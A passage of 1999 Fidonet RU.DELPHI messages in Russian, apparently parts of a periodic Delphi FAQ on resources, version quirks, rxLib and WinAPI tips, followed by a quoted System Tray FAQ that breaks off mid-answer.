Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 191 of 341 - 164 + 229 From : Alexey_Mahotkin 2:5020/433 18 Jul 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 932257206 9299 127.0.0.1 (18 Jul 1999 00:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Jul 1999 00:20:06 GMT Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MSWindows; SU.WIN32.PROG вопросы программирования для Win32API; SU.WIN95.PROG вопросы программирования под MSWindows95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака кNT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание Содержание [20]Преамбула [21]Доступность этого F.A.Q. [22]Сопутствующие проекты [23]Документы на русском языке [24]Документы на английском языке [25]Контрибуторы [26]Источники информации [27]Вопросы, связанные с конкретными версиями Delphi [28]Вопросы, однозначно сводящиеся к использованию [29]Вопросы, возникающие от неумения читать книжки [30]Библиотеки, инструменты и т.п. [31]Относительно большие ответы/примеры кода [32]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help|About нажмете кнопкуAlt и, не отпуская, наберете "VERSION". Delphi1 следует апгрейдить до версии1.02 с помощью патчей. Delphi2 следует апгрейдить до версии2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi3 следует взять версии 3.02. Это полноценный дистрибутив3.01 и патчи до3.02. Delphi4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi1 и Delphi2? A: (AP): Решаются так В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi2 и3 не отображают русские TTF под WindowsNT WorkStation+ ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\WindowsNT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет Q: А как включить окошко CPUWindow? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi3 Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi4 виснут при запуске. Видеокарта S3Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi4sp3. При работе программ на Delphi1 под Windows95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi2/3/4 программу, работающую под Windows3.1? A: (NP): Hет, но в дистрибутиве с Delphi2/3/4 поставляется Delphi1 специально для этой цели. -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 192 of 341 - 165 + 230 From : Alexey_Mahotkin 2:5020/433 18 Jul 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 932257206 9302 127.0.0.1 (18 Jul 1999 00:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Jul 1999 00:20:06 GMT Q: Куда из Delphi3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rxDatabase Explorer у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах(8+3). Q: WindowsNT4.0 + Delphi2.01 C/S + Oracle Client7.3 + Oracle Server7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [33]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi3 и Delphi4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т.п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 193 of 341 - 166 + 231 From : Alexey_Mahotkin 2:5020/433 18 Jul 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 932257207 9305 127.0.0.1 (18 Jul 1999 00:20:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Jul 1999 00:20:07 GMT Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi4 есть пример. [34]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [35]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце забудьте про все эти глупости. _________________________________________________________________ Библиотеки, инструменты и т.п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [36]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [37]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [38]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([39]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [40]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [41]http://www.signsoft.com/opengl. Информацию на [42]http://www.opengl.org. Также есть книга Ю.Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [43]http://reality.sgi.com/mjk за примерами и [44]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [45]http://www.chami.com/tips/delphi/103096D.html Еще на [46]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [47]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки -- Пусть тени обходят тебя стороной // солнце нас не отпустит --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 194 of 341 From : Alexander Chelmodeev 2:5062/17.5 18 Jul 99 10:50:00 To : Chursin Evgeny Subj : RxLib & Events ──────────────────────────────────────────────────────────────────────────────── / Привет Chursin! /   17 Июл 1999 Сб в 23:54 : Chursin Evgeny --> All: CE> попытался засунуть иконку в тpей - куча пpоблем ... CE> пеpвое - ФАК пpочел, RxLib 2.50 поставил ( кстати класная вещь ) А СпецФАК читал? ;) === Cut === ────────────────────────────────────────────────────── Subj : System Tray FAQ 1.0 ────────────────────────────────────────────────────── Hаиболее часто задаваемые вопросы по SystemTary. Автор - Лев Серебряков (Lev Serebryakov), 2:5030/219.33@fidonet или lev@spb.runnet.ru Версия 1.0 Часть 0. О чем. Данный спиок вопросов и ответов на них содержит наиболее часто задаваемые вопросы по использованию в своих программах для Microsoft Windows 95 и Microsoft Windows NT 4.0 возможности оболочки, называемой System Tray. Часть 1. Комментарий. Я хочу поблагадорить: Andy Nicks (2:5031/16.2@Fidonet), Kirill Pushkin (2:5030/219.19), а так же программистов петербургской фирмы "ПРОМТ", без этих людей вряд ли я написал бы этот FAQ. Любые пожелания, поправки, уточнения принимаются ! Распространение - свободное ! Часть 2. Содержание. Q1 Что такое System Tray ? Q2 Как мне перенести свою программу на Tray ? Q3 Что такое иконка на Tray ? Q4 Как добавить иконку на Tray ? Q5 А как ее там изменить ? Q6 А как удалить иконку с Tray ? Q7 Как мне узнать о воздействии мыши на иконку, находящуюся на Tray ? Q8 Многие программы показывают Pop-Up меню при щелчке на их иконке, как этого добиться ? Q9 Многие программы минимизируясь, оказываются на Tray, как это сделать ? Q10 Всегда ли все вышесказанное будет работать ? Часть 3. Собственно FAQ. ====================================================================== Q1: Что такое System Tray ? О чем идет речь ? A1: Если Вы в операционной ситеме Windows'95 или Windows NT 4.0 пользуетесь оболочкой Explorer, то справа на TaskBar'е Вы должны были видеть "углубленную" область в которой, обычно, помещаются часы, переключатель клавиатуры, регулятор громкости и некоторые другие утилиты. Они изображаются маленькими иконками и для них существуют ToolTip'ы как для кнопок ToolBar'ов. При щелчке или двойном щелчке по такой иконке программа обычно выполняет действие по умолчанию, а при щелчке правой кнопкой показывает Pop-Up меню. Hа уровне оболочки System Tray это приложение, поддерживающее окно, которое вы видите как "углубленную" область и некоторый сервис для работы с этим окном. ====================================================================== Q2: Как мне перенести свою программу на Tray ? A2: Это типичный вопрос программиста, пишущего какую-нибудь утилиту, работающую в Background во время всей работы операционной системы (в DOS такие утилиты делались TSR-программами). Hо вопрос поставлен не корректно. Обычно задавае этот вопрос программист имеет в виду примерно следующее : "Моя программа работает [почти] все время в минимизированном состоянии и очень жалко места под ее кнопку на TaskBar'е. Как мне сделать, что бы при минимизации [старте|все время] моя программа представлялась иконкой на System Tray'е и отвечала на сообщения мыши от этой иконки ?" Ответ на этот вопрос состоит из нескольких частей. Смотри следующие вопросы и ответы на них. ====================================================================== Q3: Что такое иконка на System Tray ? A3: Ответ на этот вопрос объясняет некорректность вопроса 2. Иконка на Tray'е это просто картинка, а не окно какой-либо программы (исследование системы с помощью Microsoft Spy++ for Windows 95 показывает, что это не окно вообще). System Tray отслеживает события мыши над иконкой и, в случае надобности, показывает ToolTip для этой иконки. Так же он отсылает сообщения о всех действиях мыши над иконкой окну, которое поместило иконку на Tray. Таким образом, нельзя поместить программу на Tray. Любая программа может добавить стоько иконок на Tray, сколько ей необходимо. При этом главное окно программы не обязано исчезать или минимизироватся - примером может служить Microsoft Internet Mail, помещающая иконку "конверт" на Tray в случае появления новых писем. ====================================================================== Q4: Как добавить иконку на Tray ? A4: Для работы с SystemTray существует всего одна функция. Вот ее Си-прототип: WINSHELLAPI BOOL WINAPI Shell_NotifyIcon( DWORD dwMessage, // message identifier PNOTIFYICONDATA pnid // pointer to structure ); Эта функция описана в заголовочном файле Win32-SDK "shellapi.h", включаемом в программу при включении "windows.h". Параметр dwMessage может принимать одно из трех значений: NIM_ADD, NIM_DELETE, NIM_MODIFY. Для добавления иконки он должен быть установлен в NIM_ADD. Параметр pnid имеет тип PNOTIFYDATA, который описан как: typedef struct _NOTIFYICONDATA { // nid DWORD cbSize; HWND hWnd; UINT uID; UINT uFlags; UINT uCallbackMessage; HICON hIcon; char szTip[64]; } NOTIFYICONDATA, *PNOTIFYICONDATA; Поля структуры NOTIFYICONDATA имеют следующий смысл: cbSize - размер структуры, должен быть sizeof(NOTIFYICONDATA). hWnd - дескриптор окна, которое будет получать события мыши над иконкой. uID - уникальный идентификатор иконки. Идентификатор должен быть уникален в пределах окна - обрабо- тчика, передаваемого в hWnd. uFlags - битовое поле, определяющее какое из следующих полей несет действительную информацию. Может быть одним из следующих значений: NIF_ICON, NIF_MESSAGE, NIF_TIP или их OR-комбинацией. uCallbackMessage - сообщение, передаваемое окну - обработчику при событиях мыши. Желательно получать номер сообщения вызовом RegisterWindowMessage(), но допускаются и значения WM_USER+N, где N > 0. hIcon - дескриптор иконки, помещаемой на Tray. szTip - текст для ToolTip'а, если szTip[0] = 0x00, то ToolTip'а не будет. Таким образом, для добавления иконки на Tray необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_ADD и указателем на заполненный экземпляр структуры. При добавлении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags, uCallbackMessage, hIcon. Поле szTip можно оставить пустым, если вам не нужен ToolTip. Поле uFlags должно содержать как минимум NIF_MESSAGE | NIF_ICON. ====================================================================== Q5: Я добавил иконку на Tray, а как ее там изменить ? A5: После добавления иконки на Tray можно менять саму иконку, ToolTip и сообщение, посылаемое окну. Для этого необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_MODIFY и указателем на заполненный экземпляр структуры. При изменении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags и поля, отвечающие за параметры иконки, которые вы хотите менять. При этом uFlags должен содержать комбинацию флагов, описывающую поля, которые необходимо менять. ====================================================================== Q6: А как удалить иконку с Tray ? A6: Для удаления иконки вы должны знать ее ID и дескриптор окна-обработчика сообщений. Для удаления иконки с Tray надо вызвать функцию Shell_NotifyIcon() с параметром NIM_DELETE и указателем на экземпляр структуры NOTIFYDATAICON, у которого должны быть заполнены следующие поля: cbSize, hWnd, uID. ====================================================================== Q7: Как мне узнать о воздействии мыши на иконку, находящуюся на Tray ? A7: При добавлении иконки на Tray вы указывали окно - обработчик сообщения и сообщение (CallbackMessage). Теперь окно, указанное вами будет при любых событиях мыши, происходящих над иконкой получать сообщение, указанное при добавлении иконки. При этом параметры lParam и wParam будут задействованы следующим образом: (UINT)wParam - содержит ID иконки, над которой произошло событие (UINT)lParam - содержит стандартное событие мыши, такое как WM_MOUSEMOVE или WM_LBUTTONDOWN. При этом, информация о клавишах смены регистра, так же как и местоположения события, передаваемые при стандартных "настоящих" сообщениях мыши, теряются. Hо положение курсора можно узнать функцией GetCursorPos(), а состояние клавиш смены регистра - функцией GetKeyState(), описанных в winuser.h. ====================================================================== Q8: Многие программы показывают Pop-Up меню при щелчке на их 